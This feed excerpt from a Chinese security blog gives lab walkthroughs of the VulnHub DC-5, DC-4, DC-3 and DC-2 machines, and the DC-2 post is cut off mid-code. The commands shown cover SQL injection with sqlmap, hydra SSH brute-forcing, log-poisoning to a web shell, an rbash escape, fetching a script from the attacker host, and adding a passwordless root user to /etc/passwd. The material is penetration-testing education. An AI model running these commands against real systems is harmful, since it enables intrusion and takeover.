src="../../attachments/image-20260402010056218.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/f215/</id>
    <link href="https://moxin1044.github.io/posts/f215/"/>
    <published>2026-04-01T14:05:19.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【DC系列靶场】DC:08</title>
    <updated>2026-04-01T17:01:40.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="渗透测试" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://moxin1044.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/tags/vulnhub/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><ul><li><strong>名称</strong>：DC：5</li></ul><h1 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h1><ul><li>虚拟化：VMware Workstation</li><li>网卡：NAT</li></ul><h2 id="攻击机"><a href="#攻击机" class="headerlink" title="攻击机"></a>攻击机</h2><ul><li>IP 192.168.8.131</li><li>Kali Linux 25.3</li></ul><h2 id="靶机"><a href="#靶机" class="headerlink" title="靶机"></a>靶机</h2><ul><li>DC-5</li><li>IP 192.168.8.158</li></ul><h1 id="渗透流程"><a href="#渗透流程" class="headerlink" title="渗透流程"></a>渗透流程</h1><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><p><img src="../../attachments/image-20260401230254685.png" alt=""></p><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><p><img src="../../attachments/image-20260401230348105.png" alt=""></p><h2 id="Web渗透"><a href="#Web渗透" class="headerlink" title="Web渗透"></a>Web渗透</h2><p><img src="../../attachments/image-20260401230640892.png" alt=""></p><p>发现contact下有个类似留言板的功能</p><p><img src="../../attachments/image-20260401230721728.png" alt=""></p><p>随便提交一组数据，发现底部的日期变了，很奇怪。</p><p><img src="../../attachments/image-20260401230936239.png" alt=""></p><p>测试一下这里的表单字段</p><p>我们主要看长度的区别</p><p>发现file的时候，长度为992</p><p><img src="../../attachments/image-20260401231028925.png" alt=""></p><p><img src="../../attachments/image-20260401231039555.png" alt=""></p><p>响应里没有footer了</p><p><img src="../../attachments/image-20260401231138194.png" alt=""></p><p>如果传入file=/etc/passwd呢，发现可以正常读取/etc/passwd</p><p>我们也可以读取到访问日志，通过日志去打</p><p><img src="../../attachments/image-20260401231230203.png" alt=""></p><p>利用UA传一句话</p><p><img src="../../attachments/image-20260401231401683.png" alt=""></p><p><img src="../../attachments/image-20260401231441780.png" alt=""></p><p>AntSword可以连接</p><p><img src="../../attachments/image-20260401231536893.png" alt=""></p><p>反弹shell</p><p><img src="../../attachments/image-20260401232116708.png" alt=""></p><p><img src="../../attachments/image-20260401232104301.png" alt=""></p><p><img src="../../attachments/image-20260401232130598.png" alt=""></p><p>进交互</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">&#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br></pre></td></tr></table></figure><p>查询提权</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -perm -u=s -<span class="built_in">type</span> f 2&gt;/dev/null</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260401232400916.png" alt=""></p><h2 id="利用-bin-screen-4-5-0"><a href="#利用-bin-screen-4-5-0" class="headerlink" title="利用 /bin/screen-4.5.0"></a>利用 /bin/screen-4.5.0</h2><p>（GNU Screen 4.5.0 Local Privilege Escalation）</p><p>这个漏洞（CVE-2017-5618）利用了 screen 在处理日志文件时的权限检查问题，可以通过覆盖 ld.so.preload 来加载恶意共享库，从而获得 root shell。</p><p><img src="../../attachments/image-20260401232520787.png" alt=""></p><p>传输出来，开监听传文件</p><p><img src="../../attachments/image-20260401232603163.png" alt=""></p><p>到有权限的目录，下载加权限</p><p><img src="../../attachments/image-20260401232727387.png" alt=""></p><p>执行后拿到root权限</p><p><img src="../../attachments/image-20260401232749756.png" alt=""></p><p><img src="../../attachments/image-20260401232822951.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/37d4/</id>
    <link href="https://moxin1044.github.io/posts/37d4/"/>
    <published>2026-04-01T14:05:18.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【DC系列靶场】DC:05</title>
    <updated>2026-04-01T17:01:40.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="渗透测试" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://moxin1044.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/tags/vulnhub/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><ul><li><strong>名称</strong>：DC：4</li></ul><h1 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h1><ul><li>虚拟化：VMware Workstation</li><li>网卡：NAT</li></ul><h2 id="攻击机"><a href="#攻击机" class="headerlink" title="攻击机"></a>攻击机</h2><ul><li>IP 192.168.8.131</li><li>Kali Linux 25.3</li></ul><h2 id="靶机"><a href="#靶机" class="headerlink" title="靶机"></a>靶机</h2><ul><li>DC-4</li><li>IP 192.168.8.154</li></ul><h1 id="渗透流程"><a href="#渗透流程" class="headerlink" title="渗透流程"></a>渗透流程</h1><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><p><img src="../../attachments/image-20260331190835942.png" alt=""></p><p><img src="../../attachments/image-20260331191011349.png" alt=""></p><p>发现该设备的IP下，包含22、80两个端口。</p><p><img src="../../attachments/image-20260331191104388.png" alt=""></p><p>80端口的网页，是一个用户登录的界面。</p><p><img src="../../attachments/image-20260331191339685.png" alt=""></p><p>看上去只有一个index.php有点作用了</p><p><img src="../../attachments/image-20260331192751699.png" alt=""></p><p>Burp尝试爆破密码</p><p><img src="../../attachments/image-20260331192725818.png" alt=""></p><p>找到密码happy，用户名是admin</p><p><img src="../../attachments/image-20260331214448721.png" alt=""></p><p><img src="../../attachments/image-20260331220114964.png" alt=""></p><p><img src="../../attachments/image-20260331220157387.png" alt=""></p><p>实际上是post执行命令了</p><p>抓一下现在的数据包，发送到”重发器“</p><p><img src="../../attachments/image-20260331220438257.png" alt=""></p><p><img src="../../attachments/image-20260331220556307.png" alt=""></p><p><img src="../../attachments/image-20260331220617518.png" alt=""></p><p><img src="../../attachments/image-20260331220715307.png" alt=""></p><p>发现三个用户</p><p><img src="../../attachments/image-20260331221252051.png" alt=""></p><p>其中jim用户下目录下，有一个backup文件夹</p><p><img src="../../attachments/image-20260331221334708.png" alt=""></p><p>找到了一个旧密码的bak文件</p><p><img src="../../attachments/image-20260331221458482.png" alt=""></p><p>发现是个密码字典，那么这里应该是想要我们爆破密码的</p><p><img src="../../attachments/image-20260331221526946.png" alt=""></p><p>保存一下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hydra ssh://192.168.8.154:22 -L user.txt -P /usr/share/wordlists/dc4-old-password.bak -vV -t 64 -f</span><br></pre></td></tr></table></figure><p>爆破</p><p><img src="../../attachments/image-20260331221641481.png" alt=""></p><p>找到密码</p><p><img src="../../attachments/image-20260331221720657.png" alt=""></p><p>登录成功</p><p>当然直接在网页命令执行的位置去反弹shell也可以</p><p><img src="../../attachments/image-20260331223715722.png" alt=""></p><p>这里提示我有一个邮件</p><p><img src="../../attachments/image-20260331223829653.png" alt=""></p><p>查看后提示charles的密码^xHhA&amp;hvim0y</p><p><img src="../../attachments/image-20260331225403473.png" alt=""></p><p><img src="../../attachments/image-20260331225557096.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;r00t::0:0:::/bin/bash&quot;</span> | <span class="built_in">sudo</span> teehee -a /etc/passwd</span><br><span class="line">r00t::0:0:::/bin/bash</span><br><span class="line">su r00t</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260331225728521.png" alt=""></p><p>它在 /etc/passwd 文件的最后追加一行，创建一个名为 r00t 的新用户，这个用户拥有 root 权限（UID=0），而且没有密码（可以直接 su 切换）。</p><p><strong>sudo teehee -a /etc/passwd</strong></p><ul><li><strong>teehee</strong>：这是靶机故意放的一个<strong>改名后的 tee 命令</strong>（不是真正的编辑器，只是名字叫 teehee）。 它的功能和 Linux 自带的 tee 完全一样：把接收到的内容<strong>同时写到文件和屏幕</strong>。</li><li><strong>sudo</strong>：因为 /etc/passwd 是系统关键文件，只有 root 才能修改。charles 用户被允许<strong>无密码</strong>执行 teehee（这是 sudo -l 里看到的权限）。</li><li><p><strong>-a</strong>：<strong>append</strong>（追加）模式。如果不加 -a，会覆盖整个文件（非常危险）。加了 -a 就是在文件末尾添加新内容，不会破坏原有用户。</p></li><li><p>执行前最好备份：sudo teehee /etc/passwd &gt; /tmp/passwd.bak</p></li><li>执行后可以用 tail /etc/passwd 查看是否成功添加。</li><li>如果想删掉自己加的行，可以再用 teehee 删掉（但一般不需要）。</li></ul><p>这条命令本质就是 <strong>利用 sudo + tee 命令的写文件能力</strong>，往系统用户数据库里“塞”一个 root 用户。这是 Linux 提权中非常经典的手法之一。</p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/f715/</id>
    <link href="https://moxin1044.github.io/posts/f715/"/>
    <published>2026-03-30T14:05:18.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【DC系列靶场】DC:04</title>
    <updated>2026-04-01T17:01:40.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="渗透测试" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://moxin1044.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/tags/vulnhub/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><ul><li><strong>名称</strong>：DC：3</li><li><p><strong>发布日期</strong>：2019年4月25日</p></li><li><p><strong>作者</strong>：<a href="https://www.vulnhub.com/author/dcau,610/">DCAU</a></p></li><li><strong>系列</strong>：<a href="https://www.vulnhub.com/series/dc,199/">DC</a></li><li><p><strong>网页</strong>：<a href="http://www.five8.6.com/dc-3.html">http://www.five8.6.com/dc-3.html</a></p></li><li><p><strong>下载地址</strong>：<a href="https://download.vulnhub.com/dc/DC-3-2.zip">https://download.vulnhub.com/dc/DC-3-2.zip</a></p></li></ul><h1 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h1><ul><li>虚拟化：VMware Workstation</li><li>网卡：桥接</li></ul><h2 id="攻击机"><a href="#攻击机" class="headerlink" title="攻击机"></a>攻击机</h2><ul><li>IP 192.168.1.7</li><li>Kali Linux 25.3</li></ul><h2 id="靶机"><a href="#靶机" class="headerlink" title="靶机"></a>靶机</h2><ul><li>DC-3</li><li>IP 192.168.1.10</li></ul><h1 id="渗透流程"><a href="#渗透流程" class="headerlink" title="渗透流程"></a>渗透流程</h1><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><p><img src="../../attachments/image-20260330225643896.png" alt=""></p><p><img src="../../attachments/image-20260330225835715.png" alt=""></p><p><img src="../../attachments/image-20260330225927799.png" alt=""></p><blockquote><p>这一次，只有一个标志，一个入口点，没有线索。 要获得标志，您显然必须获得 root 权限。 如何成为 root 取决于你自己 - 显然，还有系统。 祝你好运 - 我希望你喜欢这个小挑战。:-)</p></blockquote><h2 id="目录扫描"><a href="#目录扫描" class="headerlink" title="目录扫描"></a>目录扫描</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dirsearch -u http://192.168.1.10/</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330230051957.png" alt=""></p><p><img src="../../attachments/image-20260330230142948.png" alt=""></p><p><img src="../../attachments/image-20260330230340972.png" alt=""></p><p><img src="../../attachments/image-20260330230355193.png" alt=""></p><p>Joomla程序，有针对性漏洞扫描工具。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install joomscan</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">joomscan --url http://192.168.1.10</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330230533542.png" alt=""></p><p>版本为：Joomla 3.7.0</p><p>针对性查找漏洞</p><p><img src="../../attachments/image-20260330230638612.png" alt=""></p><p><img src="../../attachments/image-20260331013651954.png" alt="image-20260331013651954"></p><p>验证：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.1.10/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml%27</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260331013739715.png" alt=""></p><p>提示报错，存在sql注入</p><p>sqlmap语句</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u <span class="string">&quot;http://192.168.1.10/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot;</span> --risk=3 --level=5 --random-agent --dbs -p list[fullordering]</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260331015218237.png" alt="image-20260331015218237"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u <span class="string">&quot;http://192.168.1.10/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot;</span> --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260331015400044.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u <span class="string">&quot;http://192.168.1.10/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot;</span> --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T <span class="string">&quot;#__users&quot;</span> --dump</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260331015513718.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u <span class="string">&quot;http://192.168.1.10/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot;</span> --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T <span class="string">&quot;#__users&quot;</span> -C <span class="string">&quot;username,password&quot;</span> --dump</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260331015648757.png" alt=""></p><p><img src="../../attachments/image-20260331015937193.png" alt=""></p><p>得到密码snoopy</p><p><img src="../../attachments/image-20260331020307157.png" alt=""></p><p><img src="../../attachments/20260331020620_rec_.gif" alt=""></p><p>在主题管理可以进入到文件管理器</p><p><img src="../../attachments/image-20260331021030987.png" alt=""></p><p><img src="../../attachments/image-20260331021121585.png" alt=""></p><p><img src="../../attachments/image-20260331021131064.png" alt=""></p><p>上级就是这个beez3主题的位置</p><p><img src="../../attachments/image-20260331021340917.png" alt=""></p><p>在index写入</p><p><img src="../../attachments/image-20260331021441515.png" alt=""></p><p>监听 访问 上线</p><p><img src="../../attachments/image-20260331021429174.png" alt=""></p><p>权限比较低，对于这种情况，我们直接提权</p><p><img src="../../attachments/image-20260331021547494.png" alt=""></p><p>下载检测脚本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget http://192.168.1.7:8000/les.sh</span><br></pre></td></tr></table></figure><blockquote><p>我一直开着python的http服务传输文件</p></blockquote><p><img src="../../attachments/image-20260331021801393.png" alt=""></p><p>添加执行权限，运行</p><p><img src="../../attachments/image-20260331021905199.png" alt=""></p><p>Pwnkit和chocobo_root都可以我记得是</p><p><img src="../../attachments/image-20260331022052867.png" alt=""></p><p><img src="../../attachments/image-20260331022105256.png" alt=""></p><p>下载PwnKit，传输，unzip解压</p><p><img src="../../attachments/image-20260331022628296.png" alt=""></p><p>cd然后make</p><p><img src="../../attachments/image-20260331022727053.png" alt=""></p><p>提权成功</p><p>进交互</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -c <span class="string">&#x27;import pty;pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260331022832418.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/3554/</id>
    <link href="https://moxin1044.github.io/posts/3554/"/>
    <published>2026-03-30T14:05:17.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【DC系列靶场】DC:03</title>
    <updated>2026-04-01T07:27:21.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="渗透测试" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://moxin1044.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/tags/vulnhub/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><ul><li><strong>名称</strong>：DC：2</li><li><p><strong>发布日期</strong>：2019年3月22日</p></li><li><p><strong>作者</strong>：<a href="https://www.vulnhub.com/author/dcau,610/">DCAU</a></p></li><li><strong>系列</strong>：<a href="https://www.vulnhub.com/series/dc,199/">DC</a></li><li><p><strong>网页</strong>：<a href="http://www.five86.com/dc-2.html">http://www.five86.com/dc-2.html</a></p></li><li><p><strong>下载地址</strong>：<a href="https://download.vulnhub.com/dc/DC-2.zip">https://download.vulnhub.com/dc/DC-2.zip</a></p></li></ul><h1 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h1><ul><li>虚拟化：VMware Workstation</li><li>网卡：桥接</li></ul><h2 id="攻击机"><a href="#攻击机" class="headerlink" title="攻击机"></a>攻击机</h2><ul><li>IP 192.168.1.7</li><li>Kali Linux 25.3</li></ul><h2 id="靶机"><a href="#靶机" class="headerlink" title="靶机"></a>靶机</h2><ul><li>DC-2</li><li>IP 192.168.1.9</li></ul><h1 id="渗透流程"><a href="#渗透流程" class="headerlink" title="渗透流程"></a>渗透流程</h1><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><p><img src="../../attachments/image-20260330210655589.png" alt=""></p><h2 id="端口探测"><a href="#端口探测" class="headerlink" title="端口探测"></a>端口探测</h2><p><img src="../../attachments/image-20260330211210834.png" alt=""></p><p><img src="../../attachments/image-20260330211322477.png" alt=""></p><p>看下网页里的flag1</p><p><img src="../../attachments/image-20260330211544352.png" alt=""></p><blockquote><p>你常用的字典可能不管用，所以，也许你只需要用“cewl”这个词。</p><p>密码越多越好，但有时你就是无法全部记住。</p><p>以某个身份登录以查看下一个标志。</p><p>如果你找不到，请以其他身份登录。</p></blockquote><h2 id="密码爆破"><a href="#密码爆破" class="headerlink" title="密码爆破"></a>密码爆破</h2><blockquote><p><strong>Cewl</strong>（发音为“cool”）是 Kali Linux 中一款非常实用的 <strong>自定义单词列表生成器</strong>（Custom Word List generator）。</p><p>它用 Ruby 语言编写，主要功能是通过<strong>爬虫（spider）</strong> 抓取指定网站的页面内容（最多爬取指定深度），从网页文本中提取独特的单词和短语，生成针对性很强的<strong>自定义字典</strong>（wordlist）。这些字典特别适合用于密码破解工具，如 <strong>John the Ripper</strong>、<strong>Hashcat</strong>、Medusa、Hydra 等。</p></blockquote><p><img src="../../attachments/image-20260330211949635.png" alt=""></p><p>然后</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cewl http://dc-2/ -w cewl.txt</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330212212079.png" alt=""></p><p>直接让nmap扫扫看有什么漏洞吧</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap --script=vuln 192.168.1.9</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330211457662.png" alt=""></p><blockquote><p>还挺多hhh，不过按照题目的意思，我们要先爆破一下ssh？？</p></blockquote><p>将扫描时发现的三个用户存user.txt文件中</p><p><img src="../../attachments/image-20260330212456396.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -L 用户字典 -P 密码字典 -vV 详细信息 -t 线程数 -f 找到密码停止</span></span><br><span class="line">hydra ssh://192.168.1.9:7744 -L user.txt -P cewl.txt -vV -t 64 -f</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330212521781.png" alt="image-20260330212521781"></p><p><img src="../../attachments/image-20260330212540618.png" alt=""></p><p>找到tom用户密码parturient</p><p>前面已经发现这是个WordPress的网站了，来都来了，也爆破一下再走吧。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan --url dc-2 -U user.txt -P cewl.txt</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330213020085.png" alt=""></p><p><img src="../../attachments/image-20260330213051799.png" alt=""></p><p>发现tom和jerry的密码爆出来了</p><p><img src="../../attachments/image-20260330213140639.png" alt=""></p><p>WordPress版本为4.7.10</p><p>扫一下登录的地方</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dirsearch -u http://dc-2/</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330213337932.png" alt=""></p><h2 id="网站后台"><a href="#网站后台" class="headerlink" title="网站后台"></a>网站后台</h2><p>访问：<a href="http://dc-2/wp-admin/">http://dc-2/wp-admin/</a> 即可登录</p><p><img src="../../attachments/image-20260330213432492.png" alt=""></p><p><img src="../../attachments/image-20260330213813979.png" alt=""></p><p>页面里发现FLAG 2</p><p><img src="../../attachments/image-20260330213839987.png" alt=""></p><blockquote><p>如果你无法利用WordPress的漏洞走捷径，那么还有另一种方法。</p><p>希望你找到了另一个切入点。</p></blockquote><h2 id="SSH登录"><a href="#SSH登录" class="headerlink" title="SSH登录"></a>SSH登录</h2><p>另一个切入点的话，实际上就是ssh登录了。</p><p><img src="../../attachments/image-20260330214218004.png" alt=""></p><p><img src="../../attachments/image-20260330214328609.png" alt=""></p><p>发现很多命令不能用</p><p><img src="../../attachments/image-20260330214618112.png" alt=""></p><p>less可以</p><p><img src="../../attachments/image-20260330214556991.png" alt="image-20260330214556991"></p><h3 id="命令绕过"><a href="#命令绕过" class="headerlink" title="命令绕过"></a>命令绕过</h3><p>接下来绕一下命令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">BASH_CMDS[a]=/bin/sh</span><br><span class="line">a</span><br><span class="line">/bin/bash</span><br><span class="line"><span class="built_in">export</span> PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330214847807.png" alt=""></p><p>这下就正常了</p><p><img src="../../attachments/image-20260330214926308.png" alt="image-20260330214926308"></p><p><img src="../../attachments/image-20260330215005579.png" alt=""></p><h3 id="用户横移"><a href="#用户横移" class="headerlink" title="用户横移"></a>用户横移</h3><p>切换到jerry</p><p><img src="../../attachments/image-20260330215116258.png" alt="image-20260330215116258"></p><p>jerry的密码就是wp爆破出的jerry用户密码</p><p><img src="../../attachments/image-20260330215211359.png" alt=""></p><p>不跳目录肯定会没有权限，因为当前目录是tom的用户，而我们切换到jerry了</p><p><img src="../../attachments/image-20260330215307079.png" alt=""></p><blockquote><p>很高兴看到你已经走了这么远——但你还没到家。<br>你仍然需要拿到最后的旗帜（唯一真正有价值的旗帜！！！）。<br>这里没有提示——现在你得靠自己了。  :-)</p></blockquote><p><img src="../../attachments/image-20260330215424331.png" alt=""></p><p><img src="../../attachments/image-20260330215543864.png" alt=""></p><h2 id="Git提权"><a href="#Git提权" class="headerlink" title="Git提权"></a>Git提权</h2><p><img src="../../attachments/image-20260330215920239.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">jerry@DC-2:~$ <span class="built_in">sudo</span> git -p <span class="built_in">help</span> </span><br><span class="line">usage: git [--version] [--<span class="built_in">help</span>] [-C &lt;path&gt;] [-c name=value]</span><br><span class="line">           [--exec-path[=&lt;path&gt;]] [--html-path] [--man-path] [--info-path]</span><br><span class="line">           [-p|--paginate|--no-pager] [--no-replace-objects] [--bare]</span><br><span class="line">           [--git-dir=&lt;path&gt;] [--work-tree=&lt;path&gt;] [--namespace=&lt;name&gt;]</span><br><span class="line">           &lt;<span 